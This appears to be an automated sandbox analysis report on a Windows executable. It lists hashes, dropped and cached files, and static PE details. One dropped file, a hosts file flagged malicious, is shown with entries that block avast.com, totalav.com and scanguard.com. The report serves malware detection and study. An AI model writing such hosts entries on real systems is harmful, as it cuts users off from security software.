SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\ProgramData\BAAEHDBFID.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2748
Entropy (8bit):	4.269302338623222
Encrypted:	false
SSDEEP:	48:vDZhyoZWM9rU5fFcDL6iCW1RiJ9rn5w0K:vDZEurK9XiCW1RiXn54
MD5:	7B1D6A1E1228728A16B66C3714AA9A23
SHA1:	8B59677A3560777593B1FA7D67465BBD7B3BC548
SHA-256:	3F15965D0159A818849134B3FBB016E858AC50EFDF67BFCD762606AC51831BC5
SHA-512:	573B68C9865416EA2F9CF5C614FCEDBFE69C67BD572BACEC81C1756E711BD90FCFEE93E17B74FB294756ADF67AD18845A56C87F7F870940CBAEB3A579146A3B6
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 avast.com..0.0.0.0 www.avast.com..0.0.0.0 totalav.com..0.0.0.0 www.totalav.com..0.0.0.0 scanguard.com..0.0.0.0 www.scanguard.com..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46543569495173
Encrypted:	false
SSDEEP:	6144:9IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN/dwBCswSbW:uXD94+WlLZMM6YFHJ+W
MD5:	3EAD99F4EC414FCE199402B9AE5B669C
SHA1:	C93C2C2E23F399E84A3554CB3533C01CE8E77767
SHA-256:	48C9877A1205ABD9EB61FBA995FF04B21E998D4405CC1AF55D35B059732A5494
SHA-512:	35AD1EC7FD9CCAB210C20B6A317E7578E4DBF0137B1E81360238CA4AA2C74D1B8F882631A4A03C830E08A4ECA3C6D598AB93EFF19525BA345249142B20E13BA2
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.....)................................................................................................................................................................................................................................................................................................................................................/........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173904
Entropy (8bit):	5.557015392120516
Encrypted:	false
SSDEEP:	3072:mqnrEqzJkt0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59GL0:mqnIqzJkt0fvsYPB+q4hXAmwWVW11uja
MD5:	07A6DC0B4F6E097C1D0A15202E2529F9
SHA1:	3F90C96ABF30EE11E87D944BDA7B46F97C105B6C
SHA-256:	68C28B4DAA8F9DB9762ACB567C6787DA7EBE34F2012BA76239482DC980422C34
SHA-512:	C8C7FE5696DC1258889D03F988B1A534DE50B0059A243769E258F6A7991ADB3BA2F9079F47E48F453FFD03A3CC3169D5A12F6458A7F04958D17A27D7D5CC3DD3
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (779)
Category:	downloaded
Size (bytes):	784
Entropy (8bit):	5.131068246002001
Encrypted:	false
SSDEEP:	24:8mi0gM4TDmBHslgT9lCuABuoB7HHHHHHHYqmffffffo:vtgnTDmKlgZ01BuSEqmffffffo
MD5:	36C10D4BC784CD9C28904970D7ABA0C9
SHA1:	42051DDB0D2DE28594517802E42C1F8CA223D19C
SHA-256:	9BA8DAAF7A049560C2A7828923CBE7B5F710EAE9F382C8348DC12564577685FF
SHA-512:	7504C6C7FE4C39AA3DF67F327CC3B69BBA3BD76B8D963F0AC380A33B836C40E5A135C213672427085901D24DACE01C94D65819D06A93D58CE58585208528BEE1
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["animal crossing pocket camp complete","netflix movies","sports equinox","target thanksgiving meal deal","hurricanes tropical storms","the diplomat episodes","dodgers yankees world series game 3","stanley elf lip oil holder"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133996
Entropy (8bit):	5.435032800615865
Encrypted:	false
SSDEEP:	1536:g7CkPDNT714TPinWZ12CAkxmSlQWE8waaeeDF47j9RzKixqxUDgRiKvD+RVH2Unp:2Px1CAV/WEhFdF47j9RXqxc6+OUaKszQ
MD5:	4F71611C9AE85DF4236EFA6C78EFACEC
SHA1:	5DC4D8CD898C226C9F21E922BCA252DBF90B76C8
SHA-256:	9B9AE3EEAAB192F7968BA67421DE25DFD738743AC136AA6189DC7C493BB642ED
SHA-512:	95DF56166DBACA62A3DB376242C359D987B25ADB3A84BDD79E7B53742EBEF0047D2B04971693E5A164CF559BC463C916C3C4AC937725D5E84E8C126689643DE5
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.282360575536436
TrID:	Win32 Executable (generic) a (10002005/4) 99.55% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	X9d3758tok.exe
File size:	711'680 bytes
MD5:	5b198b1cb3177bc50c15f147238d6c49
SHA1:	1f5ea6645a41198e7d060fa147b98aabf14600d1
SHA256:	52ce96aeb7d4062ffcce2a92bd41012f4198bc8d1fe7242b3de84434c6eb4c84
SHA512:	0861e593229b0e953c90a4738b3583ec5a886b9d1aafe1cff75c229d8a85f20dee0ee1c0ab7e2e76ea3e48fa37885edc334d32353165c89f8a27bd2314e6f9bf
SSDEEP:	12288:ixOfAaHzlTRfS5fGVQyFVTt2vfrSaxbYesQrRxDYodpu1aWRnzL0KhHhdGRIBtPY:s05HzlTNSpG9VTtafejRQxnurkans6cl
TLSH:	89E41212F558D832C16702749CA4CAE9A8BBBC77D729965B33283F7F2D707819A92305
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\..A\..A\..AB.tAG..AB.eAB..AB.sA8..A{..A[..A\..A(..AB.zA]..AB.dA]..AB.aA]..ARich\..A........................PE..L...\|..d...

File Icon


Icon Hash:	63396de971436e0f

Static PE Info

General

Entrypoint:	0x405efb
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64CEA47C [Sat Aug 5 19:35:24 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	55aaf366a8248a1965ebbdd1044b5835

Entrypoint Preview

Instruction
call 00007FDEFD0E5D36h
jmp 00007FDEFD0E1A9Eh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
call 00007FDEFD0E1C5Ch
xchg cl, ch
jmp 00007FDEFD0E1C44h
call 00007FDEFD0E1C53h
fxch st(0), st(1)
jmp 00007FDEFD0E1C3Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007FDEFD0E1C31h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007FDEFD0E1C26h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007FDEFD0E1C24h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007FDEFD0E1C27h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007FDEFD0E225Fh
fstp st(0)
fld tbyte ptr [0049308Ah]
ret
fstp st(0)
or cl, cl
je 00007FDEFD0E1C2Dh
fstp st(0)
fldpi
or ch, ch
je 00007FDEFD0E1C24h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007FDEFD0E1C19h
fchs
ret
fstp st(0)
jmp 00007FDEFD0E2235h
fstp st(0)
mov cl, ch
jmp 00007FDEFD0E1C22h
call 00007FDEFD0E1BEEh
jmp 00007FDEFD0E2240h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x922fc	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xae000	0x14640	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2eb000	0x9fc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4818	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x184	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x91be2	0x91c00	37a7afbfd359d6c01d15d3b21a2e7155	False	0.8691221992924528	data	7.622059452784723	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x93000	0x1a200	0x5c00	0d4b68a9c8c4d1d043d4a77a9cf7a581	False	0.07956861413043478	dBase III DBT, next free block index 7565155	0.9333682355400428	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xae000	0x23c640	0x14800	9859bb78b8ac5a463175ce14a427e4ac	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2eb000	0x16f6	0x1800	8a252eb50932e036cf7469a54a98bf5e	False	0.3634440104166667	data	3.616333554806837	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
BARUY	0xb8bc8	0x136f	ASCII text, with very long lines (4975), with no line terminators	Tamil	India	0.5951758793969849
BARUY	0xb8bc8	0x136f	ASCII text, with very long lines (4975), with no line terminators	Tamil	Sri Lanka	0.5951758793969849
BIFETUGIDOSUCIVIK	0xb9f38	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	India	0.5883037909173243
BIFETUGIDOSUCIVIK	0xb9f38	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	Sri Lanka	0.5883037909173243
ZEPELEVOSATOWOCEDUHUWETUHUG	0xb81e0	0x9e7	ASCII text, with very long lines (2535), with no line terminators	Tamil	India	0.6015779092702169
ZEPELEVOSATOWOCEDUHUWETUHUG	0xb81e0	0x9e7	ASCII text, with very long lines (2535), with no line terminators	Tamil	Sri Lanka	0.6015779092702169
RT_CURSOR	0xbbdc8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0xbcc70	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0xbd518	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0xbdab0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0xbdbe0	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0xbdcb8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0xbeb60	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0xbf408	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0xbf9a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0xc0848	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0xc10f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0xae8a0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5345622119815668
RT_ICON	0xae8a0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5345622119815668
RT_ICON	0xaef68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.41317427385892114
RT_ICON	0xaef68	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.41317427385892114
RT_ICON	0xb1510	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.44858156028368795
RT_ICON	0xb1510	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.44858156028368795
RT_ICON	0xb19a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.3699360341151386
RT_ICON	0xb19a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.3699360341151386
RT_ICON	0xb2850	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5036101083032491
RT_ICON	0xb2850	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5036101083032491
RT_ICON	0xb30f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.5771889400921659
RT_ICON	0xb30f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.5771889400921659
RT_ICON	0xb37c0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6466763005780347
RT_ICON	0xb37c0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6466763005780347
RT_ICON	0xb3d28	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.4537344398340249
RT_ICON	0xb3d28	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.4537344398340249
RT_ICON	0xb62d0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.4643527204502814
RT_ICON	0xb62d0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.4643527204502814
RT_ICON	0xb7378	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.4516393442622951
RT_ICON	0xb7378	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.4516393442622951
RT_ICON	0xb7d00	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.500886524822695
RT_ICON	0xb7d00	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.500886524822695
RT_DIALOG	0xc18e0	0x58	data			0.8977272727272727
RT_STRING	0xc1938	0x36e	data	Tamil	India	0.4612756264236902
RT_STRING	0xc1938	0x36e	data	Tamil	Sri Lanka	0.4612756264236902
RT_STRING	0xc1ca8	0x3ca	data	Tamil	India	0.4587628865979381
RT_STRING	0xc1ca8	0x3ca	data	Tamil	Sri Lanka	0.4587628865979381
RT_STRING	0xc2078	0x3bc	data	Tamil	India	0.4686192468619247
RT_STRING	0xc2078	0x3bc	data	Tamil	Sri Lanka	0.4686192468619247
